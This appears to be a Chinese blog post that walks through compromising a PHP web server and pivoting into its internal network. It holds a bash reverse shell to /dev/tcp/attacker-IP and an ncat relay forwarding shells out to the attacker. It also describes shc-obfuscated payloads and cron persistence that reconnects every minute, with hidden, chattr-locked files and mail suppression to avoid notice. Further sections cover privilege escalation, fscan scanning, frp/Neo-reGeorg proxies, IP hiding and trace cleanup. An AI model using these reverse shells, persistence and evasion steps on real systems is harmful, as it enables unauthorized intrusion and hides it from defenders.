绕php的disable_functions 此处建议用AntSword的官方绕过插件全自动绕
绕过失败的可以手动试一下
另外,可以看一下web程序存的数据库的用户名和密码,然后看一下数据库能不能利用,比如写文件或者写日志,以及各种提权,如果绕过disable_functions失败,数据库也不能利用的可以看一下目标服务器上都有什么文件,比如其他站点或者其他可以利用的东西,如果限制了访问目录那就只能留着以后再看了
隐藏ip
隐藏攻击ip还是很重要的,不然容易被溯源,可以上cdn或者用云函数等 但是此处也是有大坑的,能访问国外服务器的目标机器就好办了,直接上就行,但是不能访问国外服务器的目标机器,首先用Cloudflare比较卡,其次用国内的云服务商的则需要实名,而且费用也不低,所以实在没办法就别隐藏ip了,此处我也没有隐藏ip
加密bash反弹shell
正常的bash反弹shell: 目标机器反弹shell:
bash -i >& /dev/tcp/攻击机的ip/攻击机接收shell的端口 0>&1
nc -lvvp 攻击机接收shell的端口
./shc -Uvrf reverse.sh -o reverse
./reverse
# 攻击机本地执行# 首先检查当前终端和STTY信息$ echo $TERM$ stty -a# 查看输出的rows和columns,后面配置用
1.`screen -list`查看所有的screen会话
低权限提权
首先是信息收集,看一下/proc/version和/etc/*-release,然后在google和Exploit Database上找一下,同时看看打没打补丁,如果目标机器不能编译的话可以在自己的机器上编译好了传过去 此处也发现了几个提权工具,不过我试了一下不是很好用,都是靠版本来判断的,和手动搞一样
权限维持
切记要做持久化,不然辛辛苦苦拿的shell可能就要重新拿或者没了,方法很多,可以google搜一下,与时俱进,用最新的东西,下面是一种我常用的权限维持的方式:
cron计划任务权限维持比较简单,当然也比较明显:
建议用前面说的shc加密,上传生成的二进制文件,用这个二进制文件弹shell,安全性高一点
上传之后:
1.先chmod +x 二进制文件给一下权限
2.然后在名字前面加个.变为隐藏文件(ls -a可以查看隐藏文件)
3.再尝试一下chattr +i 二进制文件(chattr -i 二进制文件可以解除锁定)防止删除,有相应的权限才能成功执行这条命令
4.最后把这个文件放在安全又隐秘的位置,
配置cron计划任务时,如果是root用户,那就在/etc/crontab里添加,如果不是root用户,那就用crontab -e添加,注意crontab -e需要交互式shell,理论上来说非root用户的cron存在/var/spool/crond下(CentOS),可以直接编辑相应的文件,但是非root用户通常没有权限直接编辑,所以还是需要获取交互式shell然后crontab -e添加
root用户在/etc/crontab里添加的计划任务,通过crontab -l或crontab -e是看不到的
/etc/crontab里应该有默认的配置和默认的例子,crontab -e没有,不管是怎么写cron,都建议使用以下配置:
在写cron之前先执行$PATH查看环境变量并复制,然后再写cron
首先第一行配置为SHELL=+相应的shell位置,第二行配置为PATH=+默认的(如果有的话)加上前面的$PATH,第三行配置为MAILTO="",第三行的意义是计划任务的执行结果不给用户发邮件,因为计划任务反弹shell是不停的反弹,但是攻击机如果之前接收到的shell还没关端口被占用着弹shell就失败了就会报错然后发邮件,发了邮件的话每次执行命令都会提示,很容易就被发现了
最后配置计划任务:
root用户配置为* * * * * root /要执行的命令或文件
非root用户配置为* * * * * /要执行的命令或文件
如果要修改执行的间隔可以研究一下cron的语法,上面的是每分钟弹一次shell
内网
信息收集
激动人心的时刻来了,打内网 因为我拿到的shell都是linux下的,没有类似windows上的域控等等,所以此处就扫扫端口,此处可以用nmap,也可以用fscan,强烈推荐fscan,用一次就上瘾,很好用
搭建代理
有些内网ip的端口上跑的比如网站等等在命令行不太好渗透,而且有些内网ip是不出网的,只能通过我们打下来的这个边界服务器来访问,所以建个代理还是很有必要的
此处我推荐用frp,然后依旧遵循动静小点的原则,不在目标机器上开端口,在自己的vps上架设frp的服务端,在目标机器上架设frp的客户端,然后在客户端启用socks5代理插件,这会在服务端上开一个你指定的端口用来做socks5代理,可以配置用户名和密码,还可以远程连接,同时可以搭配其他软件做ip的黑白名单,非常好用,本地配置代理Windows建议用Proxifier,Linux建议用proxychains-ng(proxychains4)
另外也可以用Neo-reGeorg,直接上传个php/jsp等文件就可以建socks5代理,也很好用,对比frp一个优点是只传文件不用执行命令就可以建代理,另一个优点是不用在目标机器上额外在后台挂一个程序
内网渗透
其实和前面的web渗透一样,只不过有些应用在内网比较常见,所以需要去了解一下,搜一下有什么漏洞
fscan本身会检测漏洞,比如各种未授权访问,也会爆破一些端口的服务,比如mysql,ssh或者Tomcat的Manager App的弱口令等
一个C段可以见识不少东西,打了一遍下来竟然天亮了...一天一夜过去了
具体就不细说了,遇见哪个搜哪个,这个C段遇到的web程序基本都是java系的,还有一些python系的
内网不出网反弹shell
目标机器如果不出网可以反弹到已经打下来的内网机器上,也可以再把反弹的端口转发到vps上,实现通过转发出网
通过ncat转发出网:
中转的机器执行:
ncat -l 中转机器接收内网反弹来的shell的端口 -c 'ncat 攻击机的ip 攻击机的端口'
痕迹清理
主要是命令的历史记录和日志文件,不过基本清不干净,而且有些地方记录了也清不到,隐藏攻击ip比较万能
下面是一个简单粗暴的清理方式,如无必要不建议使用:
审核编辑:刘清
全部0条评论
快来发表一下你的评论吧 !